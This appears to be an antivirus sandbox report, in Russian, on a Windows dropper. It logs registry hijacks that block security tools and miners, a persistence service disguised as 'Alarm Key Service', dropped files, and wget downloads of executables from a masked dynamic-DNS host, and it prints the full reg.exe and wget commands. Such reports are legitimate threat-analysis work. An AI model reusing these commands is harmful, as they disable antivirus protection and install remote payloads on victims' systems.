  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-aes-sse42.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mineos.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InstantSupport.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchoct.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost32.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsynchost.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows nt.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\storectrl.dll] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xDedicLogCleaner.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smsss.exe] 'debugger' = 'fixmapi.exe'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer.exe] 'debugger' = 'fixmapi.exe'
Устанавливает следующие настройки сервисов
  • [<HKLM>\System\CurrentControlSet\Services\KProcessHacker2] 'ImagePath' = '<Текущая директория>\x64\kprocesshacker.sys'
  • [<HKLM>\System\CurrentControlSet\Services\alark] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\alark] 'ImagePath' = '%WINDIR%\alark.exe'
Создает следующие сервисы
  • 'KProcessHacker2' <Текущая директория>\x64\kprocesshacker.sys
  • 'alark' %WINDIR%\alark.exe
Вредоносные функции
Запускает на исполнение
  • '%WINDIR%\syswow64\taskkill.exe' /f /im alark.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im miter.exe
Изменения в файловой системе
Создает следующие файлы
  • <Текущая директория>\dedka.txt
  • <Текущая директория>\x64\plugins\onlinechecks.dll
  • <Текущая директория>\x64\plugins\sbiesupport.dll
  • <Текущая директория>\x64\plugins\setcriticalplugin.dll
  • <Текущая директория>\x64\plugins\taskbarextplugin.dll
  • <Текущая директория>\x64\plugins\toolstatus.dll
  • <Текущая директория>\x64\plugins\trustedinstallerplugin.dll
  • <Текущая директория>\x64\plugins\usernotes.dll
  • <Текущая директория>\ablay.exe
  • <Текущая директория>\x64\plugins\windowexplorer.dll
  • %WINDIR%\temp\udd5cbf.tmp
  • <Текущая директория>\clr.exe
  • %WINDIR%\clrinst.bat
  • %WINDIR%\sysclr.bat
  • %WINDIR%\alark.exe
  • %WINDIR%\instsrv.exe
  • %WINDIR%\miterinst.exe
  • <Текущая директория>\x64\plugins\hexpidplugin.dll
  • <Текущая директория>\x64\plugins\networktools.dll
  • <Текущая директория>\x64\plugins\hardwaredevices.dll
  • <Текущая директория>\x64\plugins\extendedtools.dll
  • <Текущая директория>\x64\plugins\extendedservices.dll
  • <Текущая директория>\rer.bat
  • <Текущая директория>\subinacl.exe
  • <Текущая директория>\wget.exe
  • %WINDIR%\subinacl.exe
  • %WINDIR%\ime\en-us\old\fxsext.ecf
  • <Текущая директория>\asufer.exe
  • <Текущая директория>\procx86.exe
  • %WINDIR%\sysclr.exe
  • <Текущая директория>\x64\pomadachashin.exe
  • <Текущая директория>\aabes.exe
  • <Текущая директория>\procx64.exe
  • <Текущая директория>\x64\pomadachashin.exe.settings.xml
  • <Текущая директория>\x64\kprocesshacker.sys
  • <Текущая директория>\x64\peview.exe
  • <Текущая директория>\x64\plugins\avgcpuplugin.dll
  • <Текущая директория>\x64\plugins\dotnettools.dll
  • <Текущая директория>\x64\plugins\extendednotifications.dll
  • <Текущая директория>\dedka.bat
  • <Текущая директория>\rstyle.exe
  • %WINDIR%\miter.exe
Удаляет следующие файлы
  • %WINDIR%\addins\fxsext.ecf
  • %WINDIR%\temp\udd5cbf.tmp
  • <Текущая директория>\clr.exe
Сетевая активность
TCP
Запросы HTTP GET
  • http://mo###.dhcp.biz/ASUFER.exe
  • http://mo###.dhcp.biz/procx86.exe
  • http://mo###.dhcp.biz/Aabes.exe
  • http://mo###.dhcp.biz/ablay.exe
  • http://mo###.dhcp.biz/ponka.exe
  • http://mo###.dhcp.biz/rstyle.exe
  • http://mo###.dhcp.biz/procx64.exe
  • http://mo###.dhcp.biz/clr.exe
UDP
  • DNS ASK mo###.dhcp.biz
Другое
Ищет следующие окна
  • ClassName: 'EDIT' WindowName: ''
  • ClassName: 'ProcessHacker' WindowName: ''
  • ClassName: '' WindowName: ''
Создает и запускает на исполнение
  • '<Текущая директория>\wget.exe' -i dedka.txt --continue --no-check-certificate --no-dns-cache
  • '<Текущая директория>\wget.exe' -c http://mo###.dhcp.biz/procx64.exe
  • '<Текущая директория>\procx64.exe'
  • '<Текущая директория>\x64\pomadachashin.exe'
  • '<Текущая директория>\wget.exe' -c http://mo###.dhcp.biz/clr.exe
  • '<Текущая директория>\clr.exe'
  • '%WINDIR%\instsrv.exe' alark %WINDIR%\alark.exe
  • '%WINDIR%\alark.exe'
  • '%WINDIR%\miter.exe' -t3010 %WINDIR%\sysclr.bat
Запускает на исполнение
  • '%WINDIR%\syswow64\cmd.exe' /c ""<Текущая директория>\rer.bat" "
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\services\alark" /v "Start" /t REG_DWORD /d "2" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetGoodBar.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SYSTEM\CurrentControlSet\services\alark" /v "ObjectName" /t REG_SZ /d "LocalSystem" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchobst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SYSTEM\CurrentControlSet\services\alark" /v "DisplayName" /t REG_SZ /d "Alarm Key Service" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systrays.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SYSTEM\CurrentControlSet\services\alark" /v "Description" /t REG_SZ /d "Alarm service for default browser." /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsbu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UninstallMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smBootTime.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWSCSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QpMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuikProtect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LoadStat.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rutserv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systmss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Systms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Vip Slow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvcc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3SP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msbtce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ingloca.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sessmgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\THGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webisida.browser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmhelpserver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDFSSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securesurf.browser.client.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Realmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoTask.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRT.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRPC.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\igateway.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TeaTimer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PAUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\services\alark" /v "ErrorControl" /t REG_DWORD /d "1" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSvcHst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\services\alark" /v "Type" /t REG_DWORD /d "16" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytpumpchrome.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ytbrowser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hmac.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zpgiupy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wiswqcs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Logo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgbider.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DTLEP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SYSTEM\CurrentControlSet\services\alark\Parameters" /v "Application" /t REG_SZ /d "cmd /c start %WINDIR%\miter.exe -t3010 %WINDIR%\sysclr.bat" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\services\alark" /v "ImagePath" /t REG_EXPAND_SZ /d "%WINDIR%\alark.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\V3Lite.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StSess.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winup.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HpSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\klvk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\acs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uistub.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdhelp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\swdoctor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\player.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ANTIVIR▄.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdcsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsmss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svnhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3306.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updata.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BusinessMessaging.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdguardSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuapl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hale.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPS.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPA.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ToolbarUpdaterService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CisTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EthDcrMiner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snmptrap.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemNT.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Adguard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rvlkl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a1g.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_x64_SSE2.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe(1)" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SFAUpdater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 2
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrvs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WRSA.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aawservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Search.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skying.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhostgui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NiceHashMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Hkufhbj.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinApp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Spred.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wwmeeg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mark.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Miner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2start.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
